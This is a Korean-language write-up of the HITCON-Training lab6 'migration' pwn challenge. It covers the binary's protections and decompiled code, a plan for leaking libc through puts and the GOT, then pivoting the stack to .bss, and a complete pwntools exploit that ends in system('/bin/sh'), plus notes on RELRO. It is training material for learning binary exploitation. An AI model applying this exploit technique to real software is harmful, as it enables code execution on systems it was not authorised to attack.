문제
migration 바이너리의 checksec 결과는 다음과 같다.
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
file 명령어의 결과는 다음과 같다.
migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped
바이너리 코드
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]
if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);
}
바이너리는 매우 간단한데, count 값 검증 이후에 read로 입력을 받고 종료한다. read 함수를 통해서 bof를 발생시킬 수 있는데 여기서 두 가지 문제점이 있다.
-
read로 64byte 밖에 받지 않는다. (buf가 ebp-0x28에 위치하기 때문에 payload로 구성할 수 있는 공간이 매우 작다.)
-
libc_leak을 한 이후에 stack에 입력을 받아서 ROP를 이어가야 하는데 ASLR이 걸려있기 때문에 stack 주소를 알 수 없다.
=> 2번 문제를 해결 하기 위해서 stack pivoting이 필요하다.
exploit 방법
- sfp에 bss_section의 주소를 넣어둔다.
- puts 함수를 통해서 setvbuf의 got 값을 알아낸다. 이를 통해서 libc의 base address를 계산할 수 있다.
- main에서 read 함수를 호출하는 곳으로 ret한다. read 함수는 ebp-0x28에 입력을 받기 때문에 bss_section에 write를 할 수 있다. 여기에 44byte의 쓰레기 값과 system 함수 및 “/bin/sh” 주소를 넣어주면 read 이후의 leave ret을 통해서 system 함수 호출이 가능하다.
풀이
#!/usr/bin/python
from pwn import *
import time
file_path="/home/sungyun/HITCON-Training/LAB/lab6/migration"
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
p=process(file_path)
p.recvuntil("best :\n")
puts=0x8048390
setvbuf_got=0x8049ffc
pr=0x0804836d
main_read=0x080484f2
bss_sec=0x804a800
#stage 1
pay="A"*40
pay+=p32(bss_sec)
pay+=p32(puts)
pay+=p32(pr)
pay+=p32(setvbuf_got)
pay+=p32(main_read)
p.send(pay)
setvbuf_addr=u32(p.recv(4))
p.recv()
libc_base=setvbuf_addr-libc.symbols['setvbuf']
system=libc_base+libc.symbols['system']
sh=libc_base+list(libc.search('/bin/sh\x00'))[0]
#stage2
pay2="A"*44
pay2+=p32(system)
pay2+="BBBB"
pay2+=p32(sh)
p.send(pay2)
p.interactive()
알게 된 것
-
stack pivoting 내가 원하는 곳으로 esp (ebp)를 옮겨서 stack 구성을 내 마음대로 할 수 있게 하는 것
-
puts 함수는 string의 마지막에 “\n”을 추가해서 출력한다. 근데 이 “\n”을 제대로 recv해놓지 않으면 내부적으로 뭔가가 꼬여서 이후에 내가 원하는 내용을 recv하지 못한다. 따라서 출력되는 내용을 그때 그때 recv 해놓고 처리해 놓아야 한다.!!!
-
puts, printf와 같은 함수는 stack을 매우 많이 써서 stack pivoting을 한 영역의 앞 부분이 쓸 수 없는 공간이면 위의 함수가 제대로 작동하지 않을 수 있다. (즉, push esp나 sub esp,X 명령어를 실행하면서 계속 esp값이 감소하는데 낮은 주소 영역이 writable 하지 않은 공간이면 함수 호출을 진행하다가 터진다.)
-
No relro => dynamic section + got 쓰기 권한 있음
Partial relro => got 쓰기 권한 있음
Full relro => 두 영역에 쓰기 권한 없음
c.f .dynamic section은 dtor,init fini pltgot 등으로 구성되어 있다.